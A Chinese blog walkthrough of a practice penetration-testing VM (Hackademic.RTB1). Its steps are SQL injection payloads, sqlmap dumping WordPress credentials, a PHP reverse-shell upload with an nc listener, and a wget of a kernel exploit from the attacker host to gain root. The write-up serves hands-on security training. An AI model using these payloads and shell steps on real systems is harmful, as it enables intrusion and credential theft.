草庐IT

第二次打靶

我想对你说 2023-03-28 原文

靶机介绍:

1)靶机名称:2-Free-Hackademic.RTB1

2)靶机链接:https://pan.baidu.com/s/1IMWhKd3h8sDcPelzXXhxKg 提取码:o5k0

3)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

打靶过程:

1)启动靶机,选择网络模式为仅主机模式,由此可确定靶机地址段为192.168.56.0/24

2)通过nmap进行扫描,扫描192.168.56.0/24存活主机

#nmap -sP 192.168.56.0/24

通过扫描,确认靶机地址为192.168.56.104

3)使用nmap扫描该IP开放的所有端口

#nmap -p- 192.168.56.104

扫描发现,开放80端口

4)对每80端口进行工作服务的指纹扫描(应用服务版本信息等)

#nmap -p80 -sV -sC 192.168.56.104

5)访问web页面

http://192.168.56.104/

6)点击标题“Hackademic_RTB1”,出现如下页面

7)点击Got root,发现地址栏参数发生变化,http://192.168.56.104/Hackademic_RTB1/?p=9

8)对该URL进行SQL注入测试,判断是否存在SQL注入漏洞

http://192.168.56.104/Hackademic_RTB1/?p=9
http://192.168.56.104/Hackademic_RTB1/?p=9'

页面无明显变化,说明此处无SQL注入漏洞

9)点击上述页面最下方的“Uncategorized”发现,URL中的参数发生了变化

10)对上述URL进行SQL注入测试,页面发生了变化,说明存在SQL注入漏洞

http://192.168.56.104/Hackademic_RTB1/?cat=1
http://192.168.56.104/Hackademic_RTB1/?cat=1'

11)手动测试

http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 6
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,2,3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,databases(),3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='wp_users'

12)SQLmap自动注入

①检测数据库类型,证明是否存在sql注入漏洞

# sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --batch

②获取数据库

# sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  --dbs --batch

③获取wordpress数据库中的数据表

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" --tables --batch

④获取wp_users表中的所有字段

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" -T "wp_users" --columns --batch

⑤获取user_login和user_pass中的数据

#sqlmap -u "http://192.168.56.104/Hackademic_RTB1/?cat=1" --dbms=MySQL  -D "wordpress" -T "wp_users" -C user_login,user_pass --dump --batch

13)最后一个用户JohnSmith的user_pass通过md5进行了加密,可以对其进行破解

https://md5.gromweb.com/

14)通过dirserach对网站目录进行扫描,查看是否可以扫描出web站点的后台管理页面

# dirsearch -u "http://192.168.56.104"
# dirsearch -u "http://192.168.56.104/Hackademic_RTB1/"

15)通过访问扫描出的目录,发现了web站点后台地址

http://192.168.56.104/Hackademic_RTB1/wp-admin/

16)通过SQL注入出来的用户“GeorgeMiller”登入后台后,配置其可以上传的文件类型有php,并点击更新配置

17)上一步配置完成,后生成一个upload选线,运行上传PHP文件

18)下载PHP反弹shell脚本文件,并在upLoad页面进行上传

#php反弹shell脚本文件下载地址
https://pentestmonkey.net/tools/web-shells/php-reverse-shell

下载完成后,设置脚本中IP地址为kali主机地址(192.168.56.103)

上传成功后,返回如下页面及地址:href='/Hackademic_RTB1/wp-content/reverse.php

19)在Kali主机通过nc监听脚本中设置的端口(1234),并在浏览器访问刚才上传的php脚本文件

#nc -lvvp 1234
浏览器访问:http://192.168.56.104/Hackademic_RTB1/wp-content/reverse.php

此时已经成功反弹shell

20)查看当前用户是否具有sudo权限,提示必须要有一个控制终端

$sudo -s

21)查看当前主机内核为2.6.31

$uname -a

22)在kali主机搜索2.6.31内核对应的本地权限提示脚本

#searchsploit 2.6.3|grep -i "local privilege escalation"

23)将选定的提权脚本复制到Kali本机站点目录下,并启动httpd服务

# cp /usr/share/exploitdb/exploits/linux/local/15285.c /var/www/html
# systemctl restart apache2

24)在反弹shell成功后的主机,将上述脚本下载下来

$ cd /tmp
$ wget http://192.168.56.103/15285.c

25)通过gcc编译

$ gcc -o exp 15285.c
$ ls
$ chmod +x exp

26)获取flag

#cd /root
#ls
#cat key.txt

有关第二次打靶的更多相关文章

  1. ruby - 如何跳过 CSV 文件的第一行并将第二行作为标题 - 2

    有没有办法跳过CSV文件的第一行,让第二行作为标题?我有一个CSV文件,第一行是日期,第二行是标题,所以我需要能够在遍历它时跳过第一行。我尝试使用slice但它会将CSV转换为数组,我真的很想将其读取为CSV,以便我可以利用header。 最佳答案 根据您的数据,您可以使用另一种方法和skip_lines-option此示例跳过所有以#开头的行require'csv'CSV.parse(DATA.read,:col_sep=>';',:headers=>true,:skip_lines=>/^#/#Markcomments!)do|

  2. ruby - `respond_to_missing?` 的第二个参数有什么用吗? - 2

    使用method_missing时在Ruby中,它是almostalwaysagoodidea定义respond_to_missing?respond_to_missing?接受两个参数;我们正在检查的方法的名称(symbol),以及一个指示我们是否应该在检查中包含私有(private)方法的bool值(include_all)。现在我感到困惑的是:method_missing不接受任何可能指示它是否应该调用私有(private)方法的参数,如respond_to_missing?做。此外,method_missing无论原始方法调用是在公共(public)上下文还是私有(privat

  3. ruby - stub 实例方法在使用 minitest 的第二次调用时返回值不同 - 2

    我正在对用户的提要进行分页,并想模拟我正在使用的API的响应。API可以返回奇怪的结果,所以我想确保如果API返回我已经看到的项目,请停止分页。我使用minitest在第一次调用方法get_next_page时stub,但我想在第二次和第三次用不同的值调用它时stub。我应该只使用rSpec吗?ruby新手...这是片段test"crawlerdoesnotpaginateifnonewitemsinnextpage"do#1:A,B#2:B,D=>D#3:A=>stopcrawler=CrawlJob.newfirst_page=[{"id"=>"item-A"},{"id"=>"i

  4. ruby-on-rails - Ruby:给定日期找到下一个第二或第四个星期二 - 2

    我似乎找不到一种优雅的方式来做到这一点......给定一个日期,我如何找到下一个星期二,即日历月的第2个或第4个星期二?例如:给定2012-10-19然后返回2012-10-23或给定2012-10-31然后返回2012-11-13OctoberNovemberSuMoTuWeThFrSaSuMoTuWeThFrSa12345612378910111213456789101415161718192011121314151617212223242526271819202122232428293031252627282930 最佳答案

  5. ruby - 为什么触发器运算符包含第二个条件? - 2

    以下代码使用了触发器运算符。(1..10).each{|x|print"#{x},"ifx==3..x==5}为什么结果是3,4,5?我觉得应该是3,4。如教程中所述,此表达式在x==3时为真,并一直为真,直到x==5。如果“5”的计算结果为false,如何打印它?谁能为我澄清一下? 最佳答案 来自“TheRubyProgrammingLanguage”的重要链接是:4.6.9.1Booleanflip-flopsWhenthe..and...operatorsareusedinaconditional,suchasanifstat

  6. ruby array,从第二个到最后一个获取所有元素 - 2

    这个问题在这里已经有了答案:HowtoreturnapartofanarrayinRuby?(6个答案)关闭8年前。我的方法:defscroll_imagesimages_all[1..images_all.length]end我不喜欢调用images_all两次,只是想知道是否有一个好的技巧来调用self或类似的东西来使它更干净一些。

  7. ruby - 如何使用每个元素从第二个元素开始在数组中循环? - ruby - 2

    假设我有一个这样的数组:["auburn","http://auburn.craigslist.org/web/","http://auburn.craigslist.org/cpg/","http://auburn.craigslist.org/eng/","http://auburn.craigslist.org/sof/","http://auburn.craigslist.org/sad/"]我想做的是只处理这个数组中的URL——它总是从element[1]开始并向上。我该怎么做? 最佳答案 这里只显示从1(第二个元素)开始

  8. ruby-on-rails - Ruby DateTime 格式 : How can I get 1st, 第二、第三、第四? - 2

    首先,DateTime格式变量似乎没有在任何地方记录,因此对可以在rubydocs中向我展示此内容的任何人+1。其次,在查看Date.strftime函数代码时,我没有看到任何可以让我执行以下操作的内容:2010年9月9日,星期四有人知道这是否可行吗? 最佳答案 您可能想要takealookhere.总结time=DateTime.nowtime.strftime("%A,%B#{time.day.ordinalize}%Y")请注意,您在纯Ruby(2.0)中运行,您需要调用:require'active_support/core

  9. ruby - 从第二次出现的字符拆分字符串 - 2

    如何从第二次出现的字符拆分字符串str="20050451100_9253629709-2-2"Ineedtheoutput["20110504151100_9253629709-2","2"] 最佳答案 没有什么比得上单线了:)str.reverse.split('-',2).collect(&:reverse).reverse它将反转字符串,用“-”分割一次,从而返回2个元素(第一个“-”前面的内容和它后面的所有内容),然后反转两个元素,然后反转数组本身。编辑*before,after=str.split('-')puts[be

  10. ruby - || 是否即使第一个参数为真,运算符也会评估第二个参数? - 2

    我正在尝试计算表达式(a=10)||(rr=20)未定义rr变量因此在评估前一个表达式返回之前在ruby​​控制台中键入rrrrNameError:undefinedlocalvariableormethod`rr'formain:Objectfrom(irb):1from:0当我编写表达式(a=10)||(rr=20)它返回10,然后当我写rr时它说nil(a=10)||(rr=20)rr#=>nil那么,为什么会这样呢?仅当||的第二个参数时,不应定义rr运算符被评估,这不应该基于文档? 最佳答案 发生这种情况是因为ruby​​

随机推荐